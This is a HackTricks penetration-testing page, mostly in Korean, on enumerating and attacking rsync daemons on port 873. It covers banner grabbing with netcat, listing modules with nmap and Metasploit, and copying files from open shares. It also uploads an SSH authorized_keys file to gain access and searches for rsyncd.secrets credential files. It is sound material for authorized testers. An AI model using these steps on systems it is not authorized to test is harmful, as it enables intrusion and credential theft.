# 873 - Pentesting Rsync {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! * **Join the** πŸ’¬ [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} ## **κΈ°λ³Έ 정보** From [wikipedia](https://en.wikipedia.org/wiki/Rsync): > **rsync**λŠ” 컴퓨터와 μ™Έμž₯ ν•˜λ“œ λ“œλΌμ΄λΈŒ κ°„, 그리고 [λ„€νŠΈμ›Œν¬ν™”λœ](https://en.wikipedia.org/wiki/Computer\_network) [컴퓨터](https://en.wikipedia.org/wiki/Computer) 간에 [파일](https://en.wikipedia.org/wiki/Computer\_file)을 효율적으둜 [전솑](https://en.wikipedia.org/wiki/File\_transfer)ν•˜κ³  [동기화](https://en.wikipedia.org/wiki/File\_synchronization)ν•˜λŠ” μœ ν‹Έλ¦¬ν‹°λ‘œ, [μˆ˜μ • μ‹œκ°„](https://en.wikipedia.org/wiki/Timestamping\_\(computing\))κ³Ό 파일 크기λ₯Ό λΉ„κ΅ν•˜μ—¬ μž‘λ™ν•©λ‹ˆλ‹€.[\[3\]](https://en.wikipedia.org/wiki/Rsync#cite\_note-man\_page-3) 일반적으둜 [μœ λ‹‰μŠ€ 계열](https://en.wikipedia.org/wiki/Unix-like) [운영 체제](https://en.wikipedia.org/wiki/Operating\_system)μ—μ„œ λ°œκ²¬λ©λ‹ˆλ‹€. rsync μ•Œκ³ λ¦¬μ¦˜μ€ [델타 인코딩](https://en.wikipedia.org/wiki/Delta\_encoding)의 일쒅이며, λ„€νŠΈμ›Œν¬ μ‚¬μš©μ„ μ΅œμ†Œν™”ν•˜λŠ” 데 μ‚¬μš©λ©λ‹ˆλ‹€. [Zlib](https://en.wikipedia.org/wiki/Zlib)λŠ” 좔가적인 [데이터 μ••μΆ•](https://en.wikipedia.org/wiki/Data\_compression)에 μ‚¬μš©λ  수 있으며,[\[3\]](https://en.wikipedia.org/wiki/Rsync#cite\_note-man\_page-3) [SSH](https://en.wikipedia.org/wiki/Secure\_Shell) λ˜λŠ” [stunnel](https://en.wikipedia.org/wiki/Stunnel)은 λ³΄μ•ˆμ„ μœ„ν•΄ μ‚¬μš©λ  수 μžˆμŠ΅λ‹ˆλ‹€. **κΈ°λ³Έ 포트:** 873 ``` PORT STATE SERVICE REASON 873/tcp open rsync syn-ack ``` ## μ—΄κ±° ### λ°°λ„ˆ 및 μˆ˜λ™ 톡신 ```bash nc -vn 127.0.0.1 873 (UNKNOWN) [127.0.0.1] 873 (rsync) open @RSYNCD: 31.0 <--- You receive this banner with the version from the server @RSYNCD: 31.0 <--- Then you send the same info #list <--- Then you ask the sever to list raidroot <--- The server starts enumerating USBCopy NAS_Public _NAS_Recycle_TOSRAID <--- Enumeration finished @RSYNCD: EXIT <--- Sever closes the connection #Now lets try to enumerate "raidroot" nc -vn 127.0.0.1 873 (UNKNOWN) [127.0.0.1] 873 (rsync) open @RSYNCD: 31.0 @RSYNCD: 31.0 raidroot @RSYNCD: AUTHREQD 7H6CqsHCPG06kRiFkKwD8g <--- This means you need the password ``` ### **곡유 폴더 μ—΄κ±°ν•˜κΈ°** **Rsync λͺ¨λ“ˆ**은 **λΉ„λ°€λ²ˆν˜Έλ‘œ 보호될 수 μžˆλŠ” 디렉토리 곡유**둜 μΈμ‹λ©λ‹ˆλ‹€. μ‚¬μš© κ°€λŠ₯ν•œ λͺ¨λ“ˆμ„ μ‹λ³„ν•˜κ³  λΉ„λ°€λ²ˆν˜Έκ°€ ν•„μš”ν•œμ§€ ν™•μΈν•˜κΈ° μœ„ν•΄ λ‹€μŒ λͺ…λ Ήμ–΄λ₯Ό μ‚¬μš©ν•©λ‹ˆλ‹€: ```bash nmap -sV --script "rsync-list-modules" -p msf> use auxiliary/scanner/rsync/modules_list # Example with IPv6 and alternate port rsync -av --list-only rsync://[dead:beef::250:56ff:feb9:e90a]:8730 ``` 일뢀 κ³΅μœ κ°€ λͺ©λ‘μ— λ‚˜νƒ€λ‚˜μ§€ μ•Šμ„ 수 있으며, μ΄λŠ” 숨겨져 μžˆμ„ 수 μžˆμŠ΅λ‹ˆλ‹€. λ˜ν•œ, 일뢀 κ³΅μœ μ— μ ‘κ·Όν•˜λŠ” 것은 νŠΉμ • **자격 증λͺ…**에 μ œν•œλ  수 있으며, μ΄λŠ” **"Access Denied"** λ©”μ‹œμ§€λ‘œ ν‘œμ‹œλ©λ‹ˆλ‹€. ### [**Brute Force**](../generic-methodologies-and-resources/brute-force.md#rsync) ### μˆ˜λ™ Rsync μ‚¬μš© **λͺ¨λ“ˆ λͺ©λ‘**을 얻은 ν›„, μž‘μ—…μ€ 인증이 ν•„μš”ν•œμ§€ 여뢀에 따라 λ‹¬λΌμ§‘λ‹ˆλ‹€. 인증 없이 **λͺ©λ‘**을 μž‘μ„±ν•˜κ³  곡유 ν΄λ”μ—μ„œ 둜컬 λ””λ ‰ν† λ¦¬λ‘œ νŒŒμΌμ„ **볡사**ν•˜λŠ” 것은 λ‹€μŒμ„ 톡해 μˆ˜ν–‰λ©λ‹ˆλ‹€: ```bash # Listing a shared folder rsync -av --list-only rsync://192.168.0.123/shared_name # Copying files from a shared folder rsync -av rsync://192.168.0.123:8730/shared_name ./rsyn_shared ``` 이 ν”„λ‘œμ„ΈμŠ€λŠ” **μž¬κ·€μ μœΌλ‘œ νŒŒμΌμ„ 전솑**ν•˜λ©°, 파일의 속성과 κΆŒν•œμ„ μœ μ§€ν•©λ‹ˆλ‹€. **자격 증λͺ…**을 μ‚¬μš©ν•˜λ©΄ 곡유 ν΄λ”μ—μ„œ λͺ©λ‘μ„ μž‘μ„±ν•˜κ³  λ‹€μš΄λ‘œλ“œν•  수 있으며, μ΄λ•Œ λΉ„λ°€λ²ˆν˜Έ μž…λ ₯ ν”„λ‘¬ν”„νŠΈκ°€ λ‚˜νƒ€λ‚©λ‹ˆλ‹€: ```bash rsync -av --list-only rsync://username@192.168.0.123/shared_name rsync -av rsync://username@192.168.0.123:8730/shared_name ./rsyn_shared ``` To **upload content**, such as an _**authorized_keys**_ νŒŒμΌμ— λŒ€ν•œ μ•‘μ„ΈμŠ€λ₯Ό μœ„ν•΄, μ‚¬μš©ν•˜μ‹­μ‹œμ˜€: ```bash rsync -av home_user/.ssh/ rsync://username@192.168.0.123/home_user/.ssh ``` ## POST rsyncd ꡬ성 νŒŒμΌμ„ 찾으렀면 λ‹€μŒμ„ μ‹€ν–‰ν•˜μ‹­μ‹œμ˜€: ```bash find /etc \( -name rsyncd.conf -o -name rsyncd.secrets \) ``` 이 파일 λ‚΄μ—μ„œ _secrets file_ λ§€κ°œλ³€μˆ˜λŠ” rsyncd 인증을 μœ„ν•œ **μ‚¬μš©μž 이름과 λΉ„λ°€λ²ˆν˜Έ**κ°€ ν¬ν•¨λœ νŒŒμΌμ„ 가리킬 수 μžˆμŠ΅λ‹ˆλ‹€. ## References * [https://www.smeegesec.com/2016/12/pentesting-rsync.html](https://www.smeegesec.com/2016/12/pentesting-rsync.html) {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! * **Join the** πŸ’¬ [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}